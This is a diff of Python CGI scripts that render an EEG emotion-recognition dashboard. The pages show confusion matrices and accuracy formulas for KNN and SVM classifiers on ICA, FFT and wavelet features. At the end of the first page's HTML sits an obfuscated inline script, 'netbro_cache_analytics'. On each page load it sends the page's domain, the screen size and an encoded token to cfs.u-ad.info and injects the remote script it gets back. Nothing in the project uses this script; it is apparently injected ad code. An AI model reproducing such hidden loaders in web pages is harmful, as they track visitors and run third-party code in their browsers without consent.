||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_ica_fft_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_ica_fft_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_ica_fft_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_ica_fft_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_ica_fft_knn)+''' + '''+str(tn_arousal_ica_fft_knn)+''') / '''+str(tp_arousal_ica_fft_knn+fp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn+fn_arousal_ica_fft_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn)/(tp_arousal_ica_fft_knn+tn_arousal_ica_fft_knn+fp_arousal_ica_fft_knn+fn_arousal_ica_fft_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Support Vector Machine
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_ica_fft_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_ica_fft_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_ica_fft_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_ica_fft_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_ica_fft_svm)+''' + '''+str(tn_valence_ica_fft_svm)+''') / '''+str(tp_valence_ica_fft_svm+fp_valence_ica_fft_svm+tn_valence_ica_fft_svm+fn_valence_ica_fft_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_ica_fft_svm+tn_valence_ica_fft_svm)/(tp_valence_ica_fft_svm+tn_valence_ica_fft_svm+fp_valence_ica_fft_svm+fn_valence_ica_fft_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_ica_fft_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_ica_fft_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_ica_fft_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_ica_fft_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_ica_fft_svm)+''' + '''+str(tn_arousal_ica_fft_svm)+''') / '''+str(tp_arousal_ica_fft_svm+fp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm+fn_arousal_ica_fft_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm)/(tp_arousal_ica_fft_svm+tn_arousal_ica_fft_svm+fp_arousal_ica_fft_svm+fn_arousal_ica_fft_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-lg-3">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Stationery Wavelet Transformation
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
K-Neirest Neighbord
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_swt_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_swt_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_swt_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_swt_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_swt_knn)+''' + '''+str(tn_valence_swt_knn)+''') / '''+str(tp_valence_swt_knn+fp_valence_swt_knn+tn_valence_swt_knn+fn_valence_swt_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_swt_knn+tn_valence_swt_knn)/(tp_valence_swt_knn+tn_valence_swt_knn+fp_valence_swt_knn+fn_valence_swt_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_swt_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_swt_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_swt_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_swt_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_swt_knn)+''' + '''+str(tn_arousal_swt_knn)+''') / '''+str(tp_arousal_swt_knn+fp_arousal_swt_knn+tn_arousal_swt_knn+fn_arousal_swt_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_swt_knn+tn_arousal_swt_knn)/(tp_arousal_swt_knn+tn_arousal_swt_knn+fp_arousal_swt_knn+fn_arousal_swt_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Support Vector Machine
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_swt_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_swt_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_swt_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_swt_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_swt_svm)+''' + '''+str(tn_valence_swt_svm)+''') / '''+str(tp_valence_swt_svm+fp_valence_swt_svm+tn_valence_swt_svm+fn_valence_swt_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_swt_svm+tn_valence_swt_svm)/(tp_valence_swt_svm+tn_valence_swt_svm+fp_valence_swt_svm+fn_valence_swt_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_swt_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_swt_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_swt_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_swt_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_swt_svm)+''' + '''+str(tn_arousal_swt_svm)+''') / '''+str(tp_arousal_swt_svm+fp_arousal_swt_svm+tn_arousal_swt_svm+fn_arousal_swt_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_swt_svm+tn_arousal_swt_svm)/(tp_arousal_swt_svm+tn_arousal_swt_svm+fp_arousal_swt_svm+fn_arousal_swt_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="col-lg-3">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
ICA + Stationery Wavelet Transformation
|
||||
</div>
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
K-Neirest Neighbord
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_ica_swt_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_ica_swt_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_ica_swt_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_ica_swt_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_ica_swt_knn)+''' + '''+str(tn_valence_ica_swt_knn)+''') / '''+str(tp_valence_ica_swt_knn+fp_valence_ica_swt_knn+tn_valence_ica_swt_knn+fn_valence_ica_swt_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_ica_swt_knn+tn_valence_ica_swt_knn)/(tp_valence_ica_swt_knn+tn_valence_ica_swt_knn+fp_valence_ica_swt_knn+fn_valence_ica_swt_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_ica_swt_knn)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_ica_swt_knn)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_ica_swt_knn)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_ica_swt_knn)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_ica_swt_knn)+''' + '''+str(tn_arousal_ica_swt_knn)+''') / '''+str(tp_arousal_ica_swt_knn+fp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn+fn_arousal_ica_swt_knn)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn)/(tp_arousal_ica_swt_knn+tn_arousal_ica_swt_knn+fp_arousal_ica_swt_knn+fn_arousal_ica_swt_knn))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Support Vector Machine
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Valence
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_valence_ica_swt_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_valence_ica_swt_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_valence_ica_swt_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_valence_ica_swt_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_valence_ica_swt_svm)+''' + '''+str(tn_valence_ica_swt_svm)+''') / '''+str(tp_valence_ica_swt_svm+fp_valence_ica_swt_svm+tn_valence_ica_swt_svm+fn_valence_ica_swt_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_valence_ica_swt_svm+tn_valence_ica_swt_svm)/(tp_valence_ica_swt_svm+tn_valence_ica_swt_svm+fp_valence_ica_swt_svm+fn_valence_ica_swt_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
|
||||
<div class="panel panel-default">
|
||||
<div class="panel-heading">
|
||||
Arousal
|
||||
</div>
|
||||
<!-- /.panel-heading -->
|
||||
<div class="panel-body">
|
||||
<div class="table-responsive">
|
||||
<table class="table table-hover">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>#</th>
|
||||
<th>1</th>
|
||||
<th>2</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
<tr>
|
||||
<th>1</th>
|
||||
<td>TP : '''+str(tp_arousal_ica_swt_svm)+'''</td>
|
||||
<td>FP : '''+str(fp_arousal_ica_swt_svm)+'''</td>
|
||||
</tr>
|
||||
<tr>
|
||||
<th>2</th>
|
||||
<td>TN : '''+str(tn_arousal_ica_swt_svm)+'''</td>
|
||||
<td>FN : '''+str(fn_arousal_ica_swt_svm)+'''</td>
|
||||
</tr>
|
||||
</tbody>
|
||||
</table>
|
||||
</div>
|
||||
<!-- /.table-responsive -->
|
||||
<h4>Accuracy : </h4>
|
||||
<blockquote>
|
||||
<p>Acc = (TP + TN) / Total Population</p>
|
||||
<p>Acc = ('''+str(tp_arousal_ica_swt_svm)+''' + '''+str(tn_arousal_ica_swt_svm)+''') / '''+str(tp_arousal_ica_swt_svm+fp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm+fn_arousal_ica_swt_svm)+'''</p>
|
||||
<p>Acc = <b>'''+str((tp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm)/(tp_arousal_ica_swt_svm+tn_arousal_ica_swt_svm+fp_arousal_ica_swt_svm+fn_arousal_ica_swt_svm))+'''</b></p>
|
||||
</blockquote>
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
<!-- /.panel-body -->
|
||||
</div>
|
||||
<!-- /.panel -->
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- /#page-wrapper -->
|
||||
|
||||
</div>
|
||||
<!-- /#wrapper -->
|
||||
|
||||
<!-- jQuery -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
|
||||
|
||||
<!-- Bootstrap Core JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
|
||||
|
||||
<!-- Metis Menu Plugin JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
|
||||
|
||||
<!-- Morris Charts JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
|
||||
|
||||
<!-- Custom Theme JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
|
||||
|
||||
<script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.u-ad.info/cfspushadsv2/request" + "?id=1" + "&enc=telkom2" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582AaN6h071sG%2bJBYpJxd3JQSJs5mE8iAmw8USIyYDWcoVFc08gzCE8COQRBhCpHI1yC7skRDV9qYyHsdUIk2Qeh5fEPTGf2w%2fAexeHwBBM3qJNrfxOqlDLyX3udt7TqoNReDfIBn%2brVy%2bXEPB%2b8EBADsI1Ky5R%2bmMT%2bW5f4GztEj2O1tiud%2fhA1eRZDOA8mmhJtYMcL69A3eIK5GA8GaovnIqpEW%2fPvjHtnKIurfETIYf5ayMxYzYN1lED6XS%2fAb6PcLJr28pYQzmnhFa2BHbEg%2fIb0A3%2f%2fYokQpvFnkvQ2zFr6zcNU%2fELwAzWrxpSfHdjc3rc78s27Iqzcz57H00Dc%2fRd92Mw%2bWRClG4%2byxeuot%2ftTqeWWP%2fTPr3cJfjysdCW%2bsf7hgbZmIcOA4Gl3LH5ARvUDlRwAz786LT4TDlM0MvS7YhQtdY8Vai4ZoPeSWwCWp76PIQqYPRApUAKtS66EuHlmVHgcIdtNFspNfcV3Ro5%2ftCVEqnASugmE87PJkncpxnP6cGCRbSwOA7JshwR8RDsEF69XUIk2tn%2fH1MBTJUaONMqI5Vb4Fnuk1G37GFI6Ne3Myq3qQ4SC2RcISIMse5oG55mTQe%2bFhZFcAw27fh" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body>
|
||||
|
||||
</html>'''
|
||||
@@ -0,0 +1,142 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
# Import modules for CGI handling
|
||||
import cgi, cgitb
|
||||
|
||||
|
||||
print "Content-type: text/html\n"
|
||||
|
||||
print '''<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
|
||||
<head>
|
||||
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||
<meta name="description" content="">
|
||||
<meta name="author" content="">
|
||||
|
||||
<title>EEG Emotion Recognition</title>
|
||||
|
||||
<!-- Bootstrap Core CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/css/bootstrap.min.css" rel="stylesheet">
|
||||
|
||||
<!-- MetisMenu CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.css" rel="stylesheet">
|
||||
|
||||
<!-- Timeline CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/css/timeline.css" rel="stylesheet">
|
||||
|
||||
<!-- Custom CSS -->
|
||||
<link href="../css/dashboard.css" rel="stylesheet">
|
||||
|
||||
<!-- Morris Charts CSS -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.css" rel="stylesheet">
|
||||
|
||||
<!-- Custom Fonts -->
|
||||
<link href="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/font-awesome/css/font-awesome.min.css" rel="stylesheet" type="text/css">
|
||||
|
||||
<!-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
|
||||
<!-- WARNING: Respond.js doesn't work if you view the page via file:// -->
|
||||
<!--[if lt IE 9]>
|
||||
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
|
||||
<script src="https://oss.maxcdn.com/libs/respond.js/1.4.2/respond.min.js"></script>
|
||||
<![endif]-->
|
||||
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<div id="wrapper">
|
||||
<div id="page-wrapper">
|
||||
<div class="row">
|
||||
<div class="col-lg-12">
|
||||
<a href="index.py" style="text-decoration:none;color: #000;"><h1 class="page-header text-center">EEG Emotion Recognition</h1></a>
|
||||
</div>
|
||||
<!-- /.col-lg-12 -->
|
||||
</div>
|
||||
<!-- /.row -->
|
||||
<div class="row">
|
||||
<div class="col-lg-3"></div>
|
||||
<div class="col-lg-6">
|
||||
<img src="../img/home.png" width="100%">
|
||||
</div>
|
||||
<div class="col-lg-3"></div>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<div class="col-lg-2"></div>
|
||||
<div class="col-lg-4 col-md-6">
|
||||
<div class="panel panel-primary">
|
||||
<div class="panel-heading">
|
||||
<div class="row">
|
||||
<div class="col-xs-3">
|
||||
<i class="fa fa-gears fa-5x"></i>
|
||||
</div>
|
||||
<div class="col-xs-9 text-right">
|
||||
<div class="huge">......</div>
|
||||
<div><b>Accuracy !</b></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a href="find_accuracy.py">
|
||||
<div class="panel-footer">
|
||||
<span class="pull-left">Find Accuracy</span>
|
||||
<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-4 col-md-6">
|
||||
<div class="panel panel-green">
|
||||
<div class="panel-heading">
|
||||
<div class="row">
|
||||
<div class="col-xs-3">
|
||||
<i class="fa fa-tasks fa-5x"></i>
|
||||
</div>
|
||||
<div class="col-xs-9 text-right">
|
||||
<div class="huge">......</div>
|
||||
<div><b>Prediction !</b></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<a href="input_predict.py">
|
||||
<div class="panel-footer">
|
||||
<span class="pull-left">Predict EEG Emotion</span>
|
||||
<span class="pull-right"><i class="fa fa-arrow-circle-right"></i></span>
|
||||
<div class="clearfix"></div>
|
||||
</div>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-2"></div>
|
||||
</div>
|
||||
<!-- /.row -->
|
||||
</div>
|
||||
<!-- /#page-wrapper -->
|
||||
|
||||
</div>
|
||||
<!-- /#wrapper -->
|
||||
|
||||
<!-- jQuery -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/jquery/dist/jquery.min.js"></script>
|
||||
|
||||
<!-- Bootstrap Core JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/bootstrap/dist/js/bootstrap.min.js"></script>
|
||||
|
||||
<!-- Metis Menu Plugin JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/metisMenu/dist/metisMenu.min.js"></script>
|
||||
|
||||
<!-- Morris Charts JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/raphael/raphael-min.js"></script>
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/bower_components/morrisjs/morris.min.js"></script>
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/js/morris-data.js"></script>
|
||||
|
||||
<!-- Custom Theme JavaScript -->
|
||||
<script src="http://ironsummitmedia.github.io/startbootstrap-sb-admin-2/dist/js/sb-admin-2.js"></script>
|
||||
|
||||
